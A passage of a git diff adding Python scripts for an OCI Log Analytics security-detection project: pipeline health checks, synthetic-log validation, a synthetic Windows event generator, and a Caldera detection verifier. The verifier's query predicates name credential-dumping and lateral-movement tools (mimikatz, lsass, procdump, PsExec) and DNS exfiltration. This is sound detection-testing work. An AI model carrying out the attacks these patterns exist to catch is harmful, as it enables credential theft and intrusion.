python3 scripts/setup_streaming_pipeline.py") + return False + + with open(STREAMING_CONFIG_PATH) as f: + cfg = json.load(f) + + meta = cfg.get("_metadata", {}) + all_ok = True + + # Log group ID + cfg_lg = meta.get("log_group_id", "") + if LOG_GROUP_ID and cfg_lg: + if cfg_lg == LOG_GROUP_ID: + print(f" [{_icon(True)} ] log_group_id: matches env") + else: + print(f" [{_icon(False)}] log_group_id: MISMATCH") + print(f" config: {cfg_lg}") + print(f" env: {LOG_GROUP_ID}") + all_ok = False + elif cfg_lg: + print(f" [{_icon(True)} ] log_group_id: ...{cfg_lg[-16:]}") + else: + print(f" [{_icon(False)}] log_group_id: not set in config") + all_ok = False + + # Compartment ID + cfg_comp = meta.get("compartment_id", "") + if COMPARTMENT_ID and cfg_comp and cfg_comp != COMPARTMENT_ID: + print(f" [{_icon(False)}] compartment_id: MISMATCH") + print(f" config: {cfg_comp}") + print(f" env: {COMPARTMENT_ID}") + all_ok = False + elif cfg_comp: + print(f" [{_icon(True)} ] compartment_id: matches") + + # Namespace + cfg_ns = meta.get("la_namespace", "") + if LA_NAMESPACE and cfg_ns and cfg_ns != LA_NAMESPACE: + print(f" [{_icon(False)}] la_namespace: MISMATCH (config={cfg_ns}, env={LA_NAMESPACE})") + all_ok = False + elif cfg_ns: + print(f" [{_icon(True)} ] la_namespace: {cfg_ns}") + + # Stream count + stream_count = sum(1 for k in cfg if k != "_metadata") + expected_streams = get_expected_stream_names(cfg) + if stream_count >= len(expected_streams): + print(f" [{_icon(True)} ] streams: {stream_count} configured") + else: + print( + f" [{_icon(False)}] streams: only {stream_count} configured " + f"(expected {len(expected_streams)})" + ) + all_ok = False + + return all_ok + + +# ─── Check 2: Streams ACTIVE (online) ──────────────────────── + +def check_streams_active(): + """Verify the expected SOC streams are ACTIVE.""" + print("\n[2] Streams ACTIVE") + stream_admin = get_streaming_admin_client() + all_ok = True + + for name in _expected_streams(): + streams = stream_admin.list_streams( + compartment_id=COMPARTMENT_ID, name=name, lifecycle_state="ACTIVE" + ).data + if streams: + print(f" [{_icon(True)} ] {name}") + else: + print(f" [{_icon(False)}] {name}: not found or not ACTIVE") + all_ok = False + + return all_ok + + +# ─── Check 3: Connectors ACTIVE (online) ───────────────────── + +def check_connectors_active(): + """Verify the expected SCH connectors are ACTIVE.""" + print("\n[3] Service Connectors ACTIVE") + sch = get_sch_client() + all_ok = True + + for stream_name in _expected_streams(): + connector_name = f"sch-{stream_name}-to-la" + connectors = sch.list_service_connectors( + compartment_id=COMPARTMENT_ID, display_name=connector_name + ).data.items + active = [c for c in connectors if getattr(c, "lifecycle_state", "") == "ACTIVE"] + if active: + print(f" [{_icon(True)} ] {connector_name}") + else: + states = [getattr(c, "lifecycle_state", "?") for c in connectors] + print(f" [{_icon(False)}] {connector_name}: {states or 'not found'}") + all_ok = False + + return all_ok + + +# ─── Check 4: Log group exists (online) ────────────────────── + +def check_log_group(la_client, namespace): + """Verify the target log group is accessible.""" + print("\n[4] Log Group Accessible") + import oci + + target_id = LOG_GROUP_ID + if not target_id: + # Try from streaming_config + if os.path.exists(STREAMING_CONFIG_PATH): + with open(STREAMING_CONFIG_PATH) as f: + cfg = json.load(f) + target_id = cfg.get("_metadata", {}).get("log_group_id", "") + + if not target_id: + print(f" [{_icon(False)}] No log group ID available (env or config)") + return False + + try: + lg = la_client.get_log_analytics_log_group( + namespace_name=namespace, + log_analytics_log_group_id=target_id, + ).data + print(f" [{_icon(True)} ] {lg.display_name} ({target_id[:50]}...)") + return True + except oci.exceptions.ServiceError as e: + print(f" [{_icon(False)}] {target_id[:50]}... — {e.status}: {e.message[:60]}") + return False + + +# ─── Check 5: Connector routing (online) ───────────────────── + +def check_connector_routing(la_client, namespace): + """Verify each SCH connector targets the correct log group and log source.""" + print("\n[5] Connector Routing") + sch = get_sch_client() + all_ok = True + + # Determine the expected log group + expected_lg = LOG_GROUP_ID + if not expected_lg and os.path.exists(STREAMING_CONFIG_PATH): + with open(STREAMING_CONFIG_PATH) as f: + cfg = json.load(f) + expected_lg = cfg.get("_metadata", {}).get("log_group_id", "") + + for stream_name in _expected_streams(): + connector_name = f"sch-{stream_name}-to-la" + connectors = sch.list_service_connectors( + compartment_id=COMPARTMENT_ID, display_name=connector_name + ).data.items + active = [c for c in connectors if getattr(c, "lifecycle_state", "") == "ACTIVE"] + + if not active: + print(f" [{_icon(False)}] {connector_name}: not found/ACTIVE — skipping routing check") + all_ok = False + continue + + full = sch.get_service_connector(active[0].id).data + target = getattr(full, "target", None) + target_lg = getattr(target, "log_group_id", None) if target else None + target_src = getattr(target, "log_source_identifier", None) if target else None + + lg_ok = True + if expected_lg and target_lg and target_lg != expected_lg: + lg_ok = False + + if lg_ok and target_src: + print(f" [{_icon(True)} ] {connector_name} → {target_src}") + else: + all_ok = False + if not lg_ok: + print(f" [{_icon(False)}] {connector_name}: log_group MISMATCH") + print(f" connector: {target_lg}") + print(f" expected: {expected_lg}") + if not target_src: + print(f" [{_icon(False)}] {connector_name}: no log_source_identifier set") + + return all_ok + + +# ─── Check 6: E2E flow test (online, optional) ─────────────── + +def check_e2e_flow(la_client, namespace): + """Publish a test message to one stream and verify it arrives in Log Analytics.""" + print("\n[6] End-to-End Flow Test") + import oci + + if not os.path.exists(STREAMING_CONFIG_PATH): + print(f" [{_icon(False)}] streaming_config.json not found — cannot run E2E test") + return False + + with open(STREAMING_CONFIG_PATH) as f: + cfg = json.load(f) + + # Pick the first available stream + test_stream = None + for name in _expected_streams(): + if name in cfg: + test_stream = name + break + + if not test_stream: + print(f" [{_icon(False)}] No configured stream found for E2E test") + return False + + info = cfg[test_stream] + stream_id = info["stream_id"] + endpoint = info["messages_endpoint"] + + # Publish a test message + marker = f"validate-pipeline-e2e-{int(time.time())}" + test_payload = json.dumps({ + "type": "pipeline_validation", + "marker": marker, + "timestamp": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()), + }) + + print(f" Publishing test message to {test_stream}...") + print(f" marker: {marker}") + + config = get_oci_config() + stream_client = oci.streaming.StreamClient(config, service_endpoint=endpoint) + + entry = oci.streaming.models.PutMessagesDetailsEntry( + key=base64.b64encode(b"e2e-test").decode(), + value=base64.b64encode(test_payload.encode()).decode(), + ) + details = oci.streaming.models.PutMessagesDetails(messages=[entry]) + + try: + resp = stream_client.put_messages(stream_id, details) + failures = resp.data.failures or 0 + if failures > 0: + print(f" [{_icon(False)}] Message publish failed ({failures} failures)") + return False + print(f" [{_icon(True)} ] Message published successfully") + except oci.exceptions.ServiceError as e: + print(f" [{_icon(False)}] Publish error: {e.status} — {e.message[:80]}") + return False + + # Wait and check for delivery + log_group_id = cfg.get("_metadata", {}).get("log_group_id", "") or LOG_GROUP_ID + if not log_group_id: + print(f" [SKIP] No log_group_id — cannot verify delivery") + return True # publish succeeded at least + + print(f" Waiting 30s for SCH to deliver message to Log Analytics...") + time.sleep(30) + + # Query Log Analytics for the marker + try: + time_start, time_end = build_time_window("5m") + query = f"'{marker}' | stats count as hits" + resp = la_client.query( + namespace_name=namespace, + query_details=oci.log_analytics.models.QueryDetails( + compartment_id=COMPARTMENT_ID, + query_string=query, + time_filter=oci.log_analytics.models.TimeRange( + time_start=time_start, + time_end=time_end, + time_zone="UTC", + ), + sub_system="LOG", + ), + ).data + # Check if we got hits + items = getattr(resp, "items", []) or [] + if items: + print(f" [{_icon(True)} ] Message found in Log Analytics!") + return True + else: + print(f" [WARN] Message not yet visible (SCH delivery can take 2-5 min)") + print(f" Re-run with --e2e in a few minutes to verify.") + return True # not a hard failure — timing issue + except Exception as e: + print(f" [WARN] Query failed: {str(e)[:80]}") + print(f" This may be a permissions issue; publish itself succeeded.") + return True + + +# ─── Main ───────────────────────────────────────────────────── + +def main(): + parser = argparse.ArgumentParser( + description="Validate the OCI Streaming → Log Analytics pipeline" + ) + parser.add_argument("--quick", action="store_true", + help="Offline checks only (config consistency)") + parser.add_argument("--e2e", action="store_true", + help="Include end-to-end flow test") + args = parser.parse_args() + + print("=" * 60) + print(" Pipeline Health Check") + print("=" * 60) + + results = {} + + # Check 1: always run (offline) + results["config"] = check_config_consistency() + + if args.quick: + _summary(results) + return + + # Online checks require OCI config + require_oci_config() + la_client = get_la_client() + namespace = LA_NAMESPACE + if not namespace: + ns_resp = la_client.list_namespaces(compartment_id=TENANCY_ID).data + if ns_resp.items: + namespace = ns_resp.items[0].namespace_name + else: + print("\nERROR: Could not determine Log Analytics namespace.") + sys.exit(1) + + results["streams"] = check_streams_active() + results["connectors"] = check_connectors_active() + results["log_group"] = check_log_group(la_client, namespace) + results["routing"] = check_connector_routing(la_client, namespace) + + if args.e2e: + results["e2e"] = check_e2e_flow(la_client, namespace) + + _summary(results) + + +def _summary(results): + """Print overall pass/fail summary.""" + print("\n" + "=" * 60) + all_ok = all(results.values()) + for name, ok in results.items(): + print(f" [{_icon(ok):4s}] {name}") + print("=" * 60) + if all_ok: + print(" All checks passed.") + else: + print(" Some checks FAILED. See details above.") + print("=" * 60) + sys.exit(0 if all_ok else 1) + + +if __name__ == "__main__": + main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_synthetic_logs.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_synthetic_logs.py new file mode 100644 index 000000000..93b98dcaf --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_synthetic_logs.py @@ -0,0 +1,244 @@ +#!/usr/bin/env python3 +"""Validate generated synthetic datasets against explicit schema contracts. + +This does not prove 100 percent production fidelity by itself. It validates +what the repo can measure locally: + +- required top-level and nested fields +- field regex patterns +- required enumerated values +- provider-specific conditional patterns +- optional comparison against captured sample files when those exist +""" + +from __future__ import annotations + +import argparse +import json +import re +from pathlib import Path +from typing import Any + +from oci_config import PROJECT_DIR, TEST_DATA_DIR +from query_artifacts import is_generated_query_artifact + +CONTRACT_PATH = Path(PROJECT_DIR) / "config" / "synthetic_log_contracts.json" + + +def load_contracts(path: Path = CONTRACT_PATH) -> dict[str, dict[str, Any]]: + with path.open() as f: + return json.load(f) + + +def iter_jsonl(path: Path) -> list[dict[str, Any]]: + records = [] + with path.open() as f: + for idx, line in enumerate(f, start=1): + line = line.strip() + if not line: + continue + try: + records.append(json.loads(line)) + except json.JSONDecodeError as exc: + raise ValueError(f"{path.name}: invalid JSON on line {idx}: {exc}") from exc + return records + + +def get_nested(record: dict[str, Any], dotted_path: str) -> Any: + current: Any = record + for key in dotted_path.split("."): + if not isinstance(current, dict) or key not in current: + raise KeyError(dotted_path) + current = current[key] + return current + + +def _sample_union_keys(sample_dir: Path) -> set[str]: + keys: set[str] = set() + for path in sorted(sample_dir.glob("*.jsonl")): + for record in iter_jsonl(path): + if isinstance(record, dict): + keys.update(record.keys()) + return keys + + +def validate_contract(dataset_path: Path, contract: dict[str, Any]) -> list[str]: + errors: list[str] = [] + records = iter_jsonl(dataset_path) + if not records: + return [f"{dataset_path.name}: dataset is empty"] + + minimum_events = contract.get("minimum_events") + if minimum_events is not None and len(records) < minimum_events: + errors.append( + f"{dataset_path.name}: expected at least {minimum_events} events, found {len(records)}" + ) + + required_fields = contract.get("required_fields", []) + required_nested_fields = contract.get("required_nested_fields", []) + field_patterns = { + field: re.compile(pattern) + for field, pattern in contract.get("field_patterns", {}).items() + } + conditional_patterns = contract.get("conditional_patterns", []) + required_values = contract.get("required_values", {}) + + seen_values: dict[str, set[Any]] = {field: set() for field in required_values} + + for idx, record in enumerate(records, start=1): + for field in required_fields: + if field not in record: + errors.append(f"{dataset_path.name}:{idx} missing field '{field}'") + + for dotted_field in required_nested_fields: + try: + get_nested(record, dotted_field) + except KeyError: + errors.append(f"{dataset_path.name}:{idx} missing nested field '{dotted_field}'") + + for field, pattern in field_patterns.items(): + if field in record and not pattern.search(str(record[field])): + errors.append( + f"{dataset_path.name}:{idx} field '{field}' does not match pattern {pattern.pattern!r}" + ) + + for field in required_values: + if field in record: + seen_values[field].add(record[field]) + + for condition in conditional_patterns: + when = condition.get("when", {}) + if all(record.get(field) == expected for field, expected in when.items()): + for field, regex in condition.get("field_patterns", {}).items(): + if field not in record or not re.search(regex, str(record[field])): + errors.append( + f"{dataset_path.name}:{idx} field '{field}' failed conditional pattern {regex!r}" + ) + + for field, expected_values in required_values.items(): + missing = sorted(set(expected_values) - seen_values[field]) + if missing: + errors.append(f"{dataset_path.name}: missing required values for '{field}': {missing}") + + sample_dir_value = contract.get("sample_dir") + if sample_dir_value: + sample_dir = Path(PROJECT_DIR) / sample_dir_value + if sample_dir.exists(): + sample_keys = _sample_union_keys(sample_dir) + generated_keys = {key for record in records if isinstance(record, dict) for key in record.keys()} + missing_keys = sorted(sample_keys - generated_keys) + if missing_keys: + errors.append( + f"{dataset_path.name}: generated keys missing from captured samples: {missing_keys}" + ) + + return errors + + +def validate_contract_filename(filename: str) -> str | None: + """Return an error when a contract key is not a generated JSONL dataset.""" + if is_generated_query_artifact(filename): + return f"{filename}: generated support artifact is not a synthetic JSONL dataset" + if Path(filename).suffix != ".jsonl": + return f"{filename}: contract filename must target a .jsonl dataset" + return None + + +def find_uncovered_datasets(test_data_dir: Path, contracts: dict[str, Any]) -> list[str]: + """Return ``test_data/*.jsonl`` files that have no registered contract. + + Ingestion-time guard: a synthetic dataset that ships without a schema + contract is silently unvalidated, so a shape regression in it would reach + the parser/dashboard unchecked. Generated support artifacts (manifest, + plans, etc.) are intentionally not datasets and are skipped. + """ + if not test_data_dir.exists(): + return [] + covered = set(contracts.keys()) + uncovered = [] + for path in sorted(test_data_dir.glob("*.jsonl")): + if is_generated_query_artifact(path.name): + continue + if path.name not in covered: + uncovered.append(path.name) + return uncovered + + +def validate_all(test_data_dir: Path = Path(TEST_DATA_DIR), contracts_path: Path = CONTRACT_PATH) -> dict[str, Any]: + contracts = load_contracts(contracts_path) + results = {} + total_errors = 0 + + for filename, contract in contracts.items(): + filename_error = validate_contract_filename(filename) + if filename_error: + results[filename] = {"ok": False, "errors": [filename_error]} + total_errors += 1 + continue + + dataset_path = test_data_dir / filename + if not dataset_path.exists(): + # Optional datasets (e.g. the Octo APM workshop bundle) come from a + # separate generator and are not part of the core run; skip them when + # absent instead of failing. Core datasets must be present. + if contract.get("optional"): + results[filename] = {"ok": True, "errors": [], "skipped": "dataset not present (optional)"} + continue + results[filename] = {"ok": False, "errors": [f"{filename}: dataset not found"]} + total_errors += 1 + continue + + errors = validate_contract(dataset_path, contract) + results[filename] = {"ok": not errors, "errors": errors} + total_errors += len(errors) + + # Coverage gate: every present .jsonl dataset must have a contract. + uncovered = find_uncovered_datasets(test_data_dir, contracts) + for filename in uncovered: + results[filename] = { + "ok": False, + "errors": [f"{filename}: dataset present in test_data/ but has no schema contract"], + } + total_errors += 1 + + return { + "ok": total_errors == 0, + "total_errors": total_errors, + "uncovered_datasets": uncovered, + "results": results, + } + + +def main() -> None: + parser = argparse.ArgumentParser(description="Validate synthetic datasets against schema contracts") + parser.add_argument("--contracts", default=str(CONTRACT_PATH), help="Path to contract JSON") + parser.add_argument("--test-data-dir", default=str(TEST_DATA_DIR), help="Directory containing generated JSONL files") + parser.add_argument("--json", action="store_true", help="Print machine-readable JSON output") + args = parser.parse_args() + + report = validate_all( + test_data_dir=Path(args.test_data_dir), + contracts_path=Path(args.contracts), + ) + + if args.json: + print(json.dumps(report, indent=2)) + raise SystemExit(0 if report["ok"] else 1) + + print("=" * 60) + print("Synthetic Log Contract Validation") + print("=" * 60) + for filename, result in report["results"].items(): + status = "OK" if result["ok"] else "FAIL" + print(f"[{status:4s}] {filename}") + for error in result["errors"][:5]: + print(f" - {error}") + if len(result["errors"]) > 5: + print(f" - ... {len(result['errors']) - 5} more") + + print(f"\nTotal contract errors: {report['total_errors']}") + raise SystemExit(0 if report["ok"] else 1) + + +if __name__ == "__main__": + main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/verify_caldera_detections.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/verify_caldera_detections.py new file mode 100644 index 000000000..b52cace24 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/verify_caldera_detections.py @@ -0,0 +1,256 @@ +#!/usr/bin/env python3 +"""Post-Caldera detection verification. + +Queries OCI Log Analytics to confirm that expected detection rules fired +after Caldera adversary operations. Implements the Zen principle: +"If you can detect it, you can test it." + +Usage: + python3 scripts/verify_caldera_detections.py # Full verification + python3 scripts/verify_caldera_detections.py --operation discovery # Single op + python3 scripts/verify_caldera_detections.py --lookback 2h # Custom time window +""" + +import argparse +import json +import os +import sys +import time + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from oci_config import ( + require_oci_config, get_la_client, get_namespace, + COMPARTMENT_ID, SOURCE_CANDIDATE_GROUPS, +) +from oci_time import build_time_window + +# ─── Expected detections per Caldera operation ──────────────── + +OPERATION_DETECTIONS = { + "discovery": { + "techniques": ["T1082", "T1016", "T1049", "T1033"], + "expected_rules": [ + "windows_account_discovery_commands", + "windows_remote_system_discovery", + "linux_system_owner_and_user_discovery", + ], + "query_specs": [ + { + "source_group": "windows_sysmon", + "predicate": "'Command Line' like '*whoami*'", + }, + { + "source_group": "windows_sysmon", + "predicate": "'Command Line' like '*systeminfo*'", + }, + { + "source_group": "windows_sysmon", + "predicate": "'Command Line' like '*ipconfig*'", + }, + ], + }, + "credential-access": { + "techniques": ["T1003.001", "T1558.003", "T1552"], + "expected_rules": [ + "windows_lsass_memory_access", + "windows_credential_dumping_via_procdump", + "windows_kerberoasting_attack", + ], + "query_specs": [ + { + "source_group": "windows_sysmon", + "predicate": "'Command Line' like '*lsass*'", + }, + { + "source_group": "windows_sysmon", + "predicate": "'Command Line' like '*mimikatz*'", + }, + { + "source_group": "windows_sysmon", + "predicate": "'Command Line' like '*procdump*'", + }, + ], + }, + "lateral-movement": { + "techniques": ["T1021.002", "T1021.006", "T1570"], + "expected_rules": [ + "windows_psexec_remote_execution", + "sysmon_lateral_movement_via_smb", + "sysmon_lateral_movement_via_winrm", + ], + "query_specs": [ + { + "source_group": "sysmon_operational", + "predicate": "'Command Line' like '*PsExec*'", + }, + { + "source_group": "sysmon_operational", + "predicate": "'Pipe Name' like '*psexec*'", + }, + ], + }, + "collection": { + "techniques": ["T1005", "T1039", "T1074"], + "expected_rules": [ + "linux_sensitive_data_collection_from_local_system", + "windows_data_staging_for_exfiltration", + ], + "query_specs": [ + { + "source_group": "linux_syslog", + "predicate": "msg like '*find*' and msg like '*-name*'", + }, + ], + }, + "exfiltration": { + "techniques": ["T1041", "T1048", "T1567"], + "expected_rules": [ + "linux_exfiltration_over_alternative_protocol", + "sysmon_dns_data_exfiltration", + ], + "query_specs": [ + { + "source_group": "sysmon_network", + "predicate": "'Query Name' like '*.*.*.*.*'", + }, + ], + }, +} + + +def build_log_source_clause(source_group): + """Build a runtime-safe log source filter from configured candidates.""" + candidates = SOURCE_CANDIDATE_GROUPS.get(source_group) + if not candidates: + raise KeyError(f"unknown log source group: {source_group}") + + if len(candidates) == 1: + return f"'Log Source' = '{candidates[0]}'" + + clauses = [f"'Log Source' = '{candidate}'" for candidate in candidates] + return "(" + " or ".join(clauses) + ")" + + +def build_operation_queries(op_name): + """Render concrete OCL queries for an operation's source/predicate specs.""" + config = OPERATION_DETECTIONS[op_name] + rendered = [] + + for spec in config["query_specs"]: + source_clause = build_log_source_clause(spec["source_group"]) + rendered.append(f"{source_clause} and {spec['predicate']}") + + return rendered + + +def run_query(la_client, namespace, query, lookback="1h"): + """Execute an OCL query against OCI Log Analytics.""" + import oci + time_start, time_end = build_time_window(lookback) + try: + result = la_client.query( + namespace_name=namespace, + query_details=oci.log_analytics.models.QueryDetails( + compartment_id=COMPARTMENT_ID, + query_string=query, + sub_system="LOG", + max_total_count=10, + time_filter=oci.log_analytics.models.TimeRange( + time_start=time_start, + time_end=time_end, + time_zone="UTC", + ), + ), + ) + items = result.data.items if hasattr(result.data, 'items') else [] + return len(items) + except Exception as e: + print(f" Query error: {e}") + return -1 + + +def verify_operation(la_client, namespace, op_name, lookback): + """Verify detections for a single Caldera operation.""" + config = OPERATION_DETECTIONS.get(op_name) + if not config: + print(f" Unknown operation: {op_name}") + return False + + print(f"\n --- {op_name.upper()} ---") + print(f" Techniques: {', '.join(config['techniques'])}") + print(f" Expected rules: {', '.join(config['expected_rules'])}") + + total_hits = 0 + queries = build_operation_queries(op_name) + total_queries = len(queries) + for query in queries: + count = run_query(la_client, namespace, query, lookback) + status = "HIT" if count > 0 else ("ERROR" if count < 0 else "MISS") + print(f" [{status:5s}] {query[:80]}... ({count} results)") + if count > 0: + total_hits += 1 + + coverage = (total_hits / total_queries * 100) if total_queries else 0 + print(f" Coverage: {total_hits}/{total_queries} queries matched ({coverage:.0f}%)") + return total_hits > 0 + + +def main(): + parser = argparse.ArgumentParser(description="Verify Caldera detection coverage") + parser.add_argument("--operation", choices=list(OPERATION_DETECTIONS.keys()), + help="Verify a single operation") + parser.add_argument("--lookback", default="1h", + help="Time window for query lookback (default: 1h)") + parser.add_argument("--dry-run", action="store_true", + help="Print expected detections without querying OCI") + args = parser.parse_args() + + print("=" * 60) + print(" Caldera Detection Verification") + print("=" * 60) + print(f" Lookback: {args.lookback}") + + if args.dry_run: + operations = [args.operation] if args.operation else list(OPERATION_DETECTIONS.keys()) + for op_name in operations: + config = OPERATION_DETECTIONS[op_name] + print(f"\n --- {op_name.upper()} ---") + print(f" Techniques: {', '.join(config['techniques'])}") + for rule in config['expected_rules']: + print(f" Expected: {rule}") + for query in build_operation_queries(op_name): + print(f" Query: {query[:80]}...") + print("\n (dry run — no OCI queries executed)") + return + + require_oci_config() + la_client = get_la_client() + namespace = get_namespace(la_client) + + operations = [args.operation] if args.operation else list(OPERATION_DETECTIONS.keys()) + results = {} + for op_name in operations: + results[op_name] = verify_operation(la_client, namespace, op_name, args.lookback) + + # Summary + print(f"\n{'=' * 60}") + print(" Verification Summary") + print(f"{'=' * 60}") + for op_name, detected in results.items(): + status = "PASS" if detected else "FAIL" + print(f" [{status}] {op_name}") + + passed = sum(1 for v in results.values() if v) + total = len(results) + print(f"\n {passed}/{total} operations had at least one detection") + + if passed < total: + print("\n Possible reasons for FAIL:") + print(" - Caldera operations haven't completed yet") + print(" - Log ingestion delay (try --lookback 2h)") + print(" - Agent not deployed on target hosts") + print(" - Log source not configured in OCI LA") + + +if __name__ == "__main__": + main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/verify_deployed_dashboards.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/verify_deployed_dashboards.py new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/verify_octo_apm_detection_rules.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/verify_octo_apm_detection_rules.py new file mode 100644 index 000000000..c04ac963a --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/verify_octo_apm_detection_rules.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python3 +"""Verify Octo APM workshop detection-rule queries against live Log Analytics.""" + +from __future__ import annotations + +import argparse +import json +from pathlib import Path + +from deploy_dashboard import ( + get_la_client, + get_namespace, + load_query_info, + validate_query_in_oci, +) +from octo_apm_workshop import DETECTION_RULE_QUERY_FILES + +DEFAULT_JSON = Path("docs/health/octo-apm-detection-rules-live.json") + + +def verify_detection_rules(lookback: str, query_timeout: int) -> list[dict]: + """Run the Octo detection-rule queries and return live result records.""" + client = get_la_client(timeout=(10, query_timeout)) + namespace = get_namespace(client) + results = [] + for query_file in DETECTION_RULE_QUERY_FILES: + payload = load_query_info(query_file) + result = validate_query_in_oci( + client, + namespace, + query_file, + payload["query"], + lookback, + timeout=query_timeout, + ) + result["status"] = ( + "HIT" if result["ok"] and result["rows"] > 0 + else "MISS" if result["ok"] + else "ERROR" + ) + results.append(result) + return results + + +def main() -> int: + parser = argparse.ArgumentParser( + description="Live-verify Octo APM detection-rule queries" + ) + parser.add_argument("--lookback", default="21d") + parser.add_argument("--query-timeout", type=int, default=90) + parser.add_argument("--json", default=str(DEFAULT_JSON)) + args = parser.parse_args() + + results = verify_detection_rules(args.lookback, args.query_timeout) + for result in results: + suffix = f" rows={result['rows']}" + if result.get("error"): + suffix += f" error={result['error'][:160]}" + print(f"{result['status']} {result['query_file']}{suffix}") + + if args.json: + output_path = Path(args.json) + output_path.parent.mkdir(parents=True, exist_ok=True) + output_path.write_text(json.dumps(results, indent=2), encoding="utf-8") + print(f"JSON report written to: {output_path}") + + statuses = {result["status"] for result in results} + if "ERROR" in statuses: + return 2 + if "MISS" in statuses: + return 1 + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/windows_eventlog_synthetic.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/windows_eventlog_synthetic.py new file mode 100644 index 000000000..93dcc7a0a --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/windows_eventlog_synthetic.py @@ -0,0 +1,492 @@ +#!/usr/bin/env python3 +"""Generate and ingest official-shaped Windows Event Log synthetic records. + +The records preserve the Windows Event XML shape translated into JSON: +``Event.System`` plus ``Event.EventData.Data[{Name, #text}]``. They also +carry top-level parser aliases so the repository's existing OCI Log Analytics +JSON parsers can ingest the same files without a second deployment path. +""" + +from __future__ import annotations + +import argparse +import io +import json +import sys +from dataclasses import dataclass +from datetime import datetime, timedelta, timezone +from pathlib import Path +from typing import Any + +sys.path.insert(0, str(Path(__file__).resolve().parent)) + +import oci + +from oci_config import ( # noqa: E402 + PROJECT_DIR, + get_la_client, + get_namespace, + ensure_log_group, + list_available_log_sources, + resolve_compartment_id, + resolve_source_from_candidates, + SOURCE_CANDIDATE_GROUPS, +) + + +BASE_TIME = datetime(2026, 5, 30, 10, 0, tzinfo=timezone.utc) +DEFAULT_OUT_DIR = Path(PROJECT_DIR) / "test_data" / "windows_eventlog_synthetic" + + +@dataclass(frozen=True) +class WindowsChannel: + filename: str + source_group: str + channel: str + provider: str + source_display: str + provider_guid: str = "" + level: str = "0" + task: str = "0" + opcode: str = "0" + keywords: str = "0x8020000000000000" + + +CHANNELS = { + "security": WindowsChannel( + filename="windows_event_security.jsonl", + source_group="windows_event_security", + channel="Security", + provider="Microsoft-Windows-Security-Auditing", + provider_guid="{54849625-5478-4994-A5BA-3E3B0328C30D}", + source_display="Windows Event Security Logs", + ), + "system": WindowsChannel( + filename="windows_event_system.jsonl", + source_group="windows_event_system", + channel="System", + provider="Service Control Manager", + source_display="Windows Event System Logs", + ), + "powershell": WindowsChannel( + filename="windows_powershell_operational.jsonl", + source_group="windows_powershell_operational", + channel="Microsoft-Windows-PowerShell/Operational", + provider="Microsoft-Windows-PowerShell", + provider_guid="{A0C1853B-5C40-4B15-8766-3CF1C58F985A}", + source_display="Windows PowerShell Operational Logs", + ), + "defender": WindowsChannel( + filename="windows_defender_operational.jsonl", + source_group="windows_defender_operational", + channel="Microsoft-Windows-Windows Defender/Operational", + provider="Microsoft-Windows-Windows Defender", + source_display="Windows Defender Operational Logs", + ), + "sysmon": WindowsChannel( + filename="sysmon_operational.jsonl", + source_group="sysmon_operational", + channel="Microsoft-Windows-Sysmon/Operational", + provider="Microsoft-Windows-Sysmon", + provider_guid="{5770385F-C22A-43E0-BF4C-06F5698FFBD9}", + source_display="Windows Sysmon Operational Logs", + ), +} + + +def iso_time(offset_minutes: int) -> str: + return (BASE_TIME + timedelta(minutes=offset_minutes)).isoformat(timespec="milliseconds").replace("+00:00", "Z") + + +def event_data_pairs(event_data: dict[str, Any]) -> list[dict[str, str]]: + return [ + {"Name": key, "#text": str(value)} + for key, value in event_data.items() + if value not in ("", None) + ] + + +def windows_event( + channel_key: str, + event_id: int, + *, + computer: str, + user: str, + event_data: dict[str, Any], + message: str, + offset: int, + record_id: int, +) -> dict[str, Any]: + """Return an official-shaped Windows event with OCI parser aliases.""" + channel = CHANNELS[channel_key] + event_time = iso_time(offset) + system = { + "Provider": {"Name": channel.provider}, + "EventID": str(event_id), + "Version": "0", + "Level": channel.level, + "Task": channel.task, + "Opcode": channel.opcode, + "Keywords": channel.keywords, + "TimeCreated": {"SystemTime": event_time}, + "EventRecordID": str(record_id), + "Correlation": {}, + "Execution": {"ProcessID": "704", "ThreadID": "1140"}, + "Channel": channel.channel, + "Computer": computer, + "Security": {"UserID": "S-1-5-18"}, + } + if channel.provider_guid: + system["Provider"]["Guid"] = channel.provider_guid + + record = { + "Event": { + "System": system, + "EventData": {"Data": event_data_pairs(event_data)}, + }, + "RenderedDescription": message, + "Log Source": channel.source_display, + "log_source_identifier": channel.source_display, + "Event ID": event_id, + "EventID": str(event_id), + "TimeCreated": event_time, + "Computer": computer, + "Host Name": computer, + "Host Name (Server)": computer, + "Entity": computer, + "Channel": channel.channel, + "Provider": channel.provider, + "User": user, + "User Name": user, + "msg": message, + } + record.update(event_data) + apply_display_aliases(record) + return record + + +def apply_display_aliases(record: dict[str, Any]) -> None: + """Add Log Analytics display aliases expected by existing parsers and queries.""" + alias_map = { + "SubjectUserName": "Subject User Name", + "TargetUserName": "Target User Name", + "TargetDomainName": "Target Domain Name", + "IpAddress": "Source Address", + "SourceAddress": "Source Address", + "LogonType": "Logon Type", + "ProcessName": "Process Name", + "NewProcessName": "Process Name", + "CommandLine": "Command Line", + "ObjectName": "Object Name", + "ObjectType": "Object Type", + "ObjectServer": "Object Server", + "AccessMask": "Access Mask", + "FailureReason": "Failure Reason", + "SubStatus": "Sub Status", + "TaskName": "Task Name", + "ShareName": "Share Name", + "RelativeTargetName": "Relative Target Name", + "ServiceName": "Service Name", + "ServiceFileName": "Service File Name", + "ScriptBlockText": "Script Block Text", + "HostApplication": "Host Application", + "ThreatName": "Threat Name", + 